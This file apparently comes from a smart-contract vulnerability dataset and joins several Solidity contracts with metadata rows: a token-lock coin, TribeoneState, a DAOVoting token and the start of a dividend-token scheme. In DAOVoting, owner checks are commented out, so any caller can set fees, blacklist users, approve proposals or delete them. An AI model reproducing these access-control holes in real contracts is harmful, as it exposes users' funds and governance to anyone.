require(lockUser[_owner].endTime.length >_index);
lockUser[_owner].endTime[_index] = 0;
}
function addLockDate(eLockType _lockType, uint256 _second, uint256 _percent) onlyOwner public {
sGroupLockDate storage lockInfo = groupLockDate[uint256(_lockType)];
bool isExists = false;
for(uint256 i = 0; i < lockInfo.lockTime.length; i++) {
if(lockInfo.lockTime[i] == _second) {
revert();
break;
}
}
if(isExists) {
revert();
} else {
lockInfo.lockTime.push(_second);
lockInfo.lockPercent.push(_percent);
}
}
function deleteLockDate(eLockType _lockType, uint256 _lockTime) onlyOwner public {
sGroupLockDate storage lockDate = groupLockDate[uint256(_lockType)];
bool isExists = false;
uint256 index = 0;
for(uint256 i = 0; i < lockDate.lockTime.length; i++) {
if(lockDate.lockTime[i] == _lockTime) {
isExists = true;
index = i;
break;
}
}
if(isExists) {
for(uint256 k = index; k < lockDate.lockTime.length - 1; k++){
lockDate.lockTime[k] = lockDate.lockTime[k + 1];
lockDate.lockPercent[k] = lockDate.lockPercent[k + 1];
}
delete lockDate.lockTime[lockDate.lockTime.length - 1];
lockDate.lockTime.length--;
delete lockDate.lockPercent[lockDate.lockPercent.length - 1];
lockDate.lockPercent.length--;
} else {
revert();
}
}
function lockTypeInfoGroup(eLockType _type) public view returns (uint256[], uint256[]) {
uint256 key = uint256(_type);
return (groupLockDate[key].lockTime, groupLockDate[key].lockPercent);
}
function lockUserInfo(address _owner) public view returns (uint256[], uint256[], uint256[], uint256[], uint256[]) {
uint256[] memory balance = new uint256[](lockUser[_owner].lockType.length);
for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){
if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) {
balance[i] = balance[i].add(lockBalanceIndividual(_owner, i));
} else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) {
balance[i] = balance[i].add(lockBalanceGroup(_owner, i));
}
}
return (lockUser[_owner].lockType,
lockUser[_owner].lockBalanceStandard,
balance,
lockUser[_owner].startTime,
lockUser[_owner].endTime);
}
function lockBalanceAll(address _owner) public view returns (uint256) {
uint256 lockBalance = 0;
for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){
if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) {
lockBalance = lockBalance.add(lockBalanceIndividual(_owner, i));
} else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) {
lockBalance = lockBalance.add(lockBalanceGroup(_owner, i));
}
}
return lockBalance;
}
}
contract MycodeCoin is Token, LockBalance {
function MycodeCoin() public {
name = "MYCODE";
symbol = "CODE";
decimals = 18;
uint256 initialSupply = 10000000000;
totalSupply = initialSupply * 10 ** uint(decimals);
user[owner].balance = totalSupply;
Transfer(address(0), owner, totalSupply);
//addLockDate(eLockType.GroupA, 9999999999, 100);//2286-11-21
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal {
super.validTransfer(_from, _to, _value, _lockCheck);
if(_lockCheck) {
require(_value <= useBalanceOf(_from));
}
}
function setLockUsers(eLockType _type, address[] _to, uint256[] _value, uint256[] _endTime) onlyOwner public {
require(_to.length > 0);
require(_to.length == _value.length);
require(_to.length == _endTime.length);
require(_type != eLockType.None);
for(uint256 i = 0; i < _to.length; i++){
require(_value[i] <= useBalanceOf(_to[i]));
setLockUser(_to[i], _type, _value[i], _endTime[i]);
}
}
function useBalanceOf(address _owner) public view returns (uint256) {
return balanceOf(_owner).sub(lockBalanceAll(_owner));
}
}
| 229,537 | 13,142 |
6fb02e5386b1fabc3599c35ad2610bb5e4d19da3e116ee0e5fc75ca95bd60ad7
| 19,668 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/19/1944293a53744BdA630Dd89245cb17df7ec1fe59_TribeoneState.sol
| 2,407 | 9,637 |
pragma solidity ^0.5.16;
// https://docs.tribeone.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// https://docs.tribeone.io/contracts/source/contracts/state
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _associatedContract) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract) external onlyOwner {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract {
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
// https://docs.tribeone.io/contracts/source/interfaces/itribeetixstate
interface ITribeoneState {
// Views
function debtLedger(uint index) external view returns (uint);
function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex);
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function lastDebtLedgerEntry() external view returns (uint);
// Mutative functions
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.tribeone.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// Inheritance
// Libraries
// https://docs.tribeone.io/contracts/source/contracts/tribeetixstate
contract TribeoneState is Owned, State, ITribeoneState {
using SafeMath for uint;
using SafeDecimalMath for uint;
// A struct for handing values associated with an individual user's debt position
struct IssuanceData {
// Percentage of the total debt owned at the time
// of issuance. This number is modified by the global debt
// delta array. You can figure out a user's exit price and
// collateralisation ratio using a combination of their initial
// debt and the slice of global debt delta which applies to them.
uint initialDebtOwnership;
// This lets us know when (in relative terms) the user entered
// the debt pool so we can calculate their exit price and
// collateralistion ratio
uint debtEntryIndex;
}
// Issued tribe balances for individual fee entitlements and exit price calculations
mapping(address => IssuanceData) public issuanceData;
// The total count of people that have outstanding issued tribes in any flavour
uint public totalIssuerCount;
// Global debt pool tracking
uint[] public debtLedger;
constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {}
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract {
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account) external onlyAssociatedContract {
delete issuanceData[account];
}
function incrementTotalIssuerCount() external onlyAssociatedContract {
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount() external onlyAssociatedContract {
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value) external onlyAssociatedContract {
debtLedger.push(value);
}
function debtLedgerLength() external view returns (uint) {
return debtLedger.length;
}
function lastDebtLedgerEntry() external view returns (uint) {
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account) external view returns (bool) {
return issuanceData[account].initialDebtOwnership > 0;
}
}
| 50,733 | 13,143 |
ce0ad73830b76cb8d0129d2f67f5bd22cd4db6a92c33de8f776bb3869699a0c5
| 32,361 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/64/6447fad02e9862a5d6c859d7eb7cdc409058206b_DAOVoting.sol
| 5,765 | 20,724 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
interface IBEP20Upgradeable {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathUpgradeable {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeable is Initializable,ContextUpgradeable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
// function setOwner(address ownerTemp) public {
// _owner = ownerTemp;
// }
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
uint256[50] private __gap;
}
contract DAOUpgradeable is ContextUpgradeable, IBEP20Upgradeable, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
uint256 public PROFIT_PER_SHARE;
address public PROFIT_TOKEN;
uint256 public lastUpdatedProfit;
mapping (address => uint256) SHARE_ON_CREATED;
uint256 public totalBlockedAmount;
function getOwner() external override view returns (address) {
return owner();
}
function decimals() external override view returns (uint8) {
return _decimals;
}
function symbol() external override view returns (string memory) {
return _symbol;
}
function name() external override view returns (string memory) {
return _name;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function shareOnCreated(address account) public view returns (uint256) {
return SHARE_ON_CREATED[account];
}
function getProfitSharePerUser(address account) public view returns (uint256) {
return PROFIT_PER_SHARE.sub(SHARE_ON_CREATED[account]);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if(_balances[recipient] == 0) { SHARE_ON_CREATED[recipient] = PROFIT_PER_SHARE; }
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if(_balances[sender] == 0) { SHARE_ON_CREATED[sender] = PROFIT_PER_SHARE; }
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
function getEqualientToken(uint256 _tokenIn,uint256 _tokenOut,uint256 _amount) public pure returns (uint256){
// if(_tokenIn > _tokenOut){
return _amount.mul(uint256(1)).div((10**(_tokenIn).sub(_tokenOut)));
// }else if(_tokenIn < _tokenOut){
// return _amount.mul(uint256(1)).mul((10**(_tokenIn).sub(_tokenOut)));
// }
// else{
// return _amount;
// }
}
function deposit(uint256 _amount) public {
// transfer profit tokens and update PROFIT_PER_SHARE
IBEP20Upgradeable(PROFIT_TOKEN).transferFrom(address(msg.sender), address(this), _amount);
uint256 totalSupplys = totalSupply().sub(totalBlockedAmount);
uint256 convertedAmount = IBEP20Upgradeable(PROFIT_TOKEN).decimals() != _decimals ? getEqualientToken(IBEP20Upgradeable(PROFIT_TOKEN).decimals(),_decimals,_amount) : _amount;
uint256 perShare = (convertedAmount.mul(1e12)).div(totalSupplys);
PROFIT_PER_SHARE = PROFIT_PER_SHARE + perShare; // it is maintain in neos decimals i.e 6
lastUpdatedProfit = block.timestamp;
}
function setProfitToken(address _token) public onlyOwner{
PROFIT_TOKEN = _token;
}
uint256[49] private __gap;
}
contract DAOVoting is OwnableUpgradeable, DAOUpgradeable {
using SafeMathUpgradeable for uint256;
struct Proposal{
string title;
string description;
address createdBy;
uint256 createdOn;
bool isActive;
bool status;
bool isApproved;
uint256 upVote;
uint256 downVote;
uint256 lastUpdated;
}
struct Vote{
bool isVoted;
bool vote;
uint256 VotedOn;
}
struct User{
uint256 lastRewardedAmount;
uint256 lastClaimed;
}
// struct Histoy{
// }
struct Blocklist{
bool isBlocked;
uint256 id;
}
mapping(address => mapping(uint256 => Vote)) public votes;
mapping(address => User) public userInfo;
uint256 public PROPOSING_RIGHTS;
uint256 public VOTING_RIGHTS;
Proposal[] public _proposals;
mapping(address => Blocklist) public blocklistUsers;
address[] public blocklist;
bool public isFeeforVoting;
uint256 public FEE;
bool public isFeeforPropsal;
uint256 public PROPOSAL_FEE;
address public NDEX;
uint256 public PASS_PERCENTAGE;
event Votes(address indexed user, uint256 indexed _proposal, uint256 _votes);
modifier onlyProposers() {
require(balanceOf(_msgSender()) >= PROPOSING_RIGHTS || _msgSender() == owner() , "You Don't Owe the Proposing Rights !");
_;
}
modifier onlyVoters() {
require(balanceOf(_msgSender()) >= VOTING_RIGHTS || _msgSender() == owner() , "You Don't Owe the Voting Rights !");
_;
}
function setProposerRightPercent(uint256 _rights) public onlyOwner{
PROPOSING_RIGHTS = _rights;
}
function setVotingRights(uint256 _rights) public onlyOwner{
VOTING_RIGHTS = _rights;
}
function setPassPercentage(uint256 _percentage) public onlyOwner {
PASS_PERCENTAGE = _percentage;
}
function initialize() public initializer {
__Ownable_init();
_name = "Neo Securities";
_symbol = "NEOS";
_decimals = 6;
_totalSupply = 55000000000;
_balances[msg.sender] = _totalSupply;
PROFIT_PER_SHARE = 0;
SHARE_ON_CREATED[msg.sender]= PROFIT_PER_SHARE;
PROFIT_TOKEN = 0xd7613f4F96d039f9F15B75D51232719D220B047e;
PROPOSING_RIGHTS = 2500e6; // perentage for rights
VOTING_RIGHTS = 1e6; // no of NDEX needed
NDEX = 0xc161804F00C6D301b8A70D9ba6dc2005F263e580; // NDEX token
emit Transfer(address(0), msg.sender, _totalSupply);
}
function setNDEX(address _ndex) public onlyOwner {
NDEX =_ndex;
}
// function toggleVoteFeeCollector(uint256 _fee, bool _isActive) public onlyOwner
function toggleVoteFeeCollector(uint256 _fee, bool _isActive) public {
FEE = _fee;
isFeeforVoting = _isActive;
}
// function toggleProposalFeeCollector(uint256 _fee, bool _isActive) public onlyOwner
function toggleProposalFeeCollector(uint256 _fee, bool _isActive) public {
PROPOSAL_FEE = _fee;
isFeeforPropsal = _isActive;
}
function collectVoteFee() internal{
if(isFeeforVoting && msg.sender != owner()){
require(IBEP20Upgradeable(NDEX).transferFrom(msg.sender,owner(),FEE),"Insufficient Fee Amount for Voting !");
}
}
function collectProposalFee() internal{
if(isFeeforPropsal && msg.sender != owner()){
require(IBEP20Upgradeable(NDEX).transferFrom(msg.sender,owner(),PROPOSAL_FEE),"Insufficient Fee Amount for Proposing !");
}
}
function getBlocklistedUsers() public view returns(address[] memory){
return blocklist;
}
function createProposal(string[] memory _info) public onlyProposers {
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
collectProposalFee();
_proposals.push(Proposal({
title: _info[0],
description: _info[1],
createdBy: msg.sender,
isActive: true,
status: false,
isApproved: false,
createdOn: block.timestamp,
upVote: 0,
downVote: 0,
lastUpdated: block.timestamp
}));
}
function closeProposal(uint256 _proposal) public onlyProposers{
Proposal storage prop = _proposals[_proposal];
require(prop.createdBy == msg.sender || msg.sender == owner(), "Proposal : You are not the Creator !");
prop.isActive = false;
prop.status = (prop.upVote + prop.downVote) > 0 ? ((prop.upVote/(prop.upVote + prop.downVote) * 100) >= PASS_PERCENTAGE): false;
prop.lastUpdated = block.timestamp;
}
// function addOrRemoveBlocklistedUser(address _address) external onlyOwner
function addOrRemoveBlocklistedUser(address _address) external {
toggleBlocklistedUser(_address);
}
// function approveProposal(uint256 _proposal) external onlyOwner
function approveProposal(uint256 _proposal) external {
Proposal storage prop = _proposals[_proposal];
prop.isApproved = true;
}
function toggleBlocklistedUser(address _address) internal {
if(blocklistUsers[_address].isBlocked){
uint256 blockId = blocklistUsers[_address].id;
blocklist[blockId] = blocklist[blocklist.length - 1];
blocklistUsers[blocklist[blocklist.length - 1]].id = blockId;
blocklistUsers[_address].isBlocked = false;
blocklist.pop();
// subtract from total
if(totalBlockedAmount > 0)
totalBlockedAmount = totalBlockedAmount.sub(balanceOf(_address));
}else{
blocklistUsers[_address].isBlocked = true;
blocklistUsers[_address].id = blocklist.length;
blocklist.push(_address);
// add from total
totalBlockedAmount = totalBlockedAmount.add(balanceOf(_address));
}
}
function isUserBlacklisted (address _address) public view returns (bool){
return blocklistUsers[_address].isBlocked;
}
// function addOrRemoveMultipleBlocklists(address[] calldata _addresses) external onlyOwner
function addOrRemoveMultipleBlocklists(address[] calldata _addresses) external {
for (uint i=0; i<_addresses.length; i++) {
toggleBlocklistedUser(_addresses[i]);
}
}
function getVoteWeightPerUser(address _user) public view returns (uint256) {
return (balanceOf(_user).mul(1e18)).div(totalSupply());
}
function vote(uint256 _proposal,bool _vote) public onlyVoters {
Proposal storage prop = _proposals[_proposal];
require(prop.isActive, "Proposal is Closed by Proposer !");
require(prop.isApproved, "Proposal is not Approved by the Authority !");
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
collectVoteFee();
uint256 voteWeight = getVoteWeightPerUser(msg.sender);
if(votes[msg.sender][_proposal].isVoted && votes[msg.sender][_proposal].vote != _vote){
// already voted and changes
votes[msg.sender][_proposal].vote ? prop.upVote -= voteWeight : prop.downVote -= voteWeight;
_vote ? prop.upVote += voteWeight : prop.downVote += voteWeight;
}else if(!votes[msg.sender][_proposal].isVoted){
_vote ? prop.upVote += voteWeight : prop.downVote += voteWeight;
}
prop.lastUpdated = block.timestamp;
votes[msg.sender][_proposal].vote = _vote;
votes[msg.sender][_proposal].isVoted = true;
votes[msg.sender][_proposal].VotedOn = block.timestamp;
emit Votes(msg.sender,_proposal,voteWeight);
}
// function deleteProposal(uint256 _proposal) public onlyOwner
function deleteProposal(uint256 _proposal) public {
_proposals[_proposal] = _proposals[_proposals.length - 1];
_proposals.pop();
}
function getTotalProposals() public view returns (Proposal[] memory){
return _proposals;
}
function getEqualientTokenInverse(uint256 _tokenIn,uint256 _tokenOut,uint256 _amount) public pure returns (uint256){
return _amount.mul(uint256(1)).mul((10**(_tokenIn).sub(_tokenOut)));
}
function pendingProfit(address _user) public view returns (uint256) {
uint256 share = balanceOf(_user);
User storage user = userInfo[_user];
uint256 profitShare = getProfitSharePerUser(_user);
uint256 reward = (share.mul(profitShare).div(1e12)).sub(user.lastRewardedAmount);
return getEqualientTokenInverse(IBEP20Upgradeable(PROFIT_TOKEN).decimals(), _decimals, reward);
}
function claim() public {
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
User storage user = userInfo[msg.sender];
uint256 share = balanceOf(msg.sender);
uint256 profitShare = getProfitSharePerUser(msg.sender);
uint256 reward = (share.mul(profitShare).div(1e12)).sub(user.lastRewardedAmount);
reward = getEqualientTokenInverse(IBEP20Upgradeable(PROFIT_TOKEN).decimals(), _decimals, reward);
if(reward > IBEP20Upgradeable(PROFIT_TOKEN).balanceOf(msg.sender)) { reward = IBEP20Upgradeable(PROFIT_TOKEN).balanceOf(msg.sender); }
IBEP20Upgradeable(PROFIT_TOKEN).transfer(msg.sender,reward);
user.lastRewardedAmount = (share.mul(profitShare).div(1e12));
user.lastClaimed = block.timestamp;
}
function withdrawSafe(uint256 _amount) external onlyOwner {
IBEP20Upgradeable(PROFIT_TOKEN).transfer(owner(), _amount);
}
function refreshBlacklist() public onlyOwner {
for(uint i = 0; i < blocklist.length ; i++){
toggleBlocklistedUser(blocklist[i]);
}
PROFIT_PER_SHARE = 0;
}
}
| 118,940 | 13,144 |
8494c77501be8e0ef0132d123609dfcf3780842824b735d5b8cec42823c9a600
| 23,989 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe87da6fad508a9c21b999f252ccf0fc10a3e3cdd.sol
| 4,385 | 17,204 |
pragma solidity ^0.4.20;
contract ProofOfContractSnipers {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ProofOfContractSnipers";
string public symbol = "POCS";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 8; // Look, strong Math 12.5% SUPER SAFE
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
